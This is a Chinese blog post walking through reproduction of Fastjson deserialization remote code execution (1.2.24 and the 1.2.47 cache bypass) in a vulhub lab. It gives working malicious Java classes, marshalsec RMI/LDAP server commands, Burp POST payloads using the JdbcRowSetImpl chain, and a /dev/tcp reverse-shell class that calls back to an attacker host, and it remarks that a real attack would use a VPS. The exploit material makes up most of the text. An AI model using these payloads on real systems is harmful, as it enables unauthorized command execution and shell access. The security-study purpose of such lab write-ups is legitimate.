Fastjson反序列化漏洞

参考链接:fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)_GeekCoderBrick的博客-CSDN博客_fastjson反序列化漏洞cve

浅谈Fastjson RCE漏洞的绕过史 - FreeBuf网络安全行业门户

fastjson 远程反序列化poc的构造和分析 | xxlegend

aututype:Fastjson AutoType_FLy_鹏程万里的博客-CSDN博客_autotype

利用链:一起来看看Fastjson的三种漏洞利用链_程序猿DD_的博客-CSDN博客

什么是fastjson?

Fastjson是一个JSON工具库 它的作用就是把java对象转换为json形式,也可以用来将json转换为java对象

序列化格式

序列化的格式是序列化这样子,注意看这里没有指定类名

{name='wuya', age=66, flag=true, sex='boy',address='null'}

反序列化

autotype

自省

漏洞原理

第一个是它的类,就是要反序列哪个类

他有两个属性,dataSourceName,autoCommit

fastjson反序列化一个类的时候,他会调用成员变量的set方法,所以首先会调用一个setdataSourceName的方法,其次会调用setautoCommit的方法,

setdataSourceName:

就是赋值,把rmi那个值赋给数据源

setautoCommit:

setautoCommi里有一个conec方法

lookup:JNDI用来查找资源的方法,可以查找LDAP,RMI,JDBC等资源

这里查找的就是刚刚赋的那个值

然后就连接到了RMI服务,而RMI是个指路人,于是就去其他地方下载了恶意代码,恶意代码的main方法就自动执行了

利用流程

常见利用链

漏洞挖掘

1.抓包的时候刚好看到它发送了json的数据

2.判断是不是fastjson(1.用一个非法格式,可能会报错,看报错信息 2.反序列化这个类,看平台能不能接收到数据)

GitHub里搜索fastjson插件,只要流量经过了bp,就能自动探测

漏洞修复:

为什么升级jdk可以

要的文件不在这个机器上面,在另一个机器上面,这种东西就不会下载,jdk把这个解决了就可以

漏洞复现:

fastjson 1.2.24 反序列化导致任意命令执行漏洞

靶机(vulhub)地址:192.168.30.130

kali 攻击机:192.168.30.225

使用com.sun.rowset.JdbcRowSetImpl的利用链,通过 JNDI 注入来执行命令

CVE-2017-18349fastjson 1.2.24 反序列化导致任意命令执行漏洞

启动靶场:

#切换到漏洞目录
cd ./vulhub-master/fastjson/1.2.24-rce

#启动靶场
docker-compose up -d

#关闭靶场
docker-compose down

#地址
192.168.30.130:8090

进入靶场:

(提供了一个接收我的字符去反序列化的接口)

//第一步
//编写恶意类

// 一
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
// do nothing
        }
    }
}

//二

public class Touchfile {
    public Touchfile() {
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv) {
        Touchfile e =new Touchfile();
    }

}


将其复制到jdk目录下的bin文件,打开cmd(管理员权限,否则可能拒绝访问,如果放在c盘),执行
javac TouchFile.java
生成编译好的文件
Touchfile.class
   
//第二步
把恶意类放到网站上让别人下载
python -m http.server 8089
//python启动http服务
    
//第三步
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.
168.30.225:8089/#LinuxTouch" 9473
    
//第四步
利用burp发送数据包

python启动http服务

python -m http.server 8089

唯一的作用就是提供了一个恶意类的下载

(在当前目录下启动)

将恶意文件放入该文件夹,尝试下载,没问题,服务启动成功

实际上肯定不是本地ip,搞一个云vps服务器什么的,别人才能连过来

第三步

  1. 利用marshalsec工具(需要maven环境编译),或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar 链接: https://pan.baidu.com/s/1pDaDDKWD1VmTAmlnQMB-6Q?pwd=rv7u 提取码: rv7u
  2. 通过java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class

作用是一个指路人,如果有人要连接9473的端口的话,就会告诉它下载这个恶意类就行了

简单的帮我们启动一个LDAP或者RMI的服务,我们给他个参数,这里就和恶意类关联起来了,有人会来这里找个东西,就把恶意类的位置告诉它了

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.
168.30.225:8089/#LinuxTouch" 9473

第四步

利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,发送之后监听的两个端口都会冒泡,然后会执行恶意类代码在tmp下创建了一个文件

//用post方法访问了fastjson的8090的界面,它可以接收字符进行反序列化


POST / HTTP/1.1
Host: 192.168.30.130:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/
20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;
q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146
{
"b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://192.168.30.225:9473/LinuxTouch",
    "autoCommit": true
}
}

@type 自省功能,给他什么类名就反序列化成什么类,这里是com.sun.rowset.JdbcRowSetImpl
反序列化的过程中,他会连接到已经启动的(rmi://192.168.142.132:9473)rmi的服务,他是个指路人,只要你连他,就会让你去8089端口下载恶意代码,下载之后恶意代码里的main方法就自动执行了

通过该漏洞拿shell

道理同上

1.创建shell.java,并用javac编译

nc -lvp 9001 监听端口,因为要建立反弹连接

import java.lang.Runtime;
import java.lang.Process;
public class shell{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/宿主机ip/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  1. 将marshalsec指定文件改成shell
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#shell 2335
  2. 下载一个netcat,https://eternallybored.org/misc/netcat/,在本地监听19527端口。.\nc.exe -lvvp 19527
  3. 利用BurpSuite发送payload
POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
 

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.31.41:2335/shell",
        "autoCommit":true
    }
}

4.shell成功反弹

中间版本:

自省功能被利用了,所以autotype被默认关闭了

做了个check autotype的机制,常见的利用类被加入了黑名单

但是黑名单可以绕过,中间版本的漏洞都是围绕黑名单的绕过

Fastjson 1.2.47 远程命令执行漏洞

步骤是一样的,数据包不同

POST / HTTP/1.1
Host: 192.168.142.128:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101
Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.142.132:9473/LinuxRevers",
"autoCommit":true
}
}


com.sun.rowset.JdbcRowSetImpl在这个版本已经被加入黑名单了吗,为什么还能成功,奥秘就在于利用了
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
的缓存机制
在缓存里找这个类,找到了就拿这个类
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值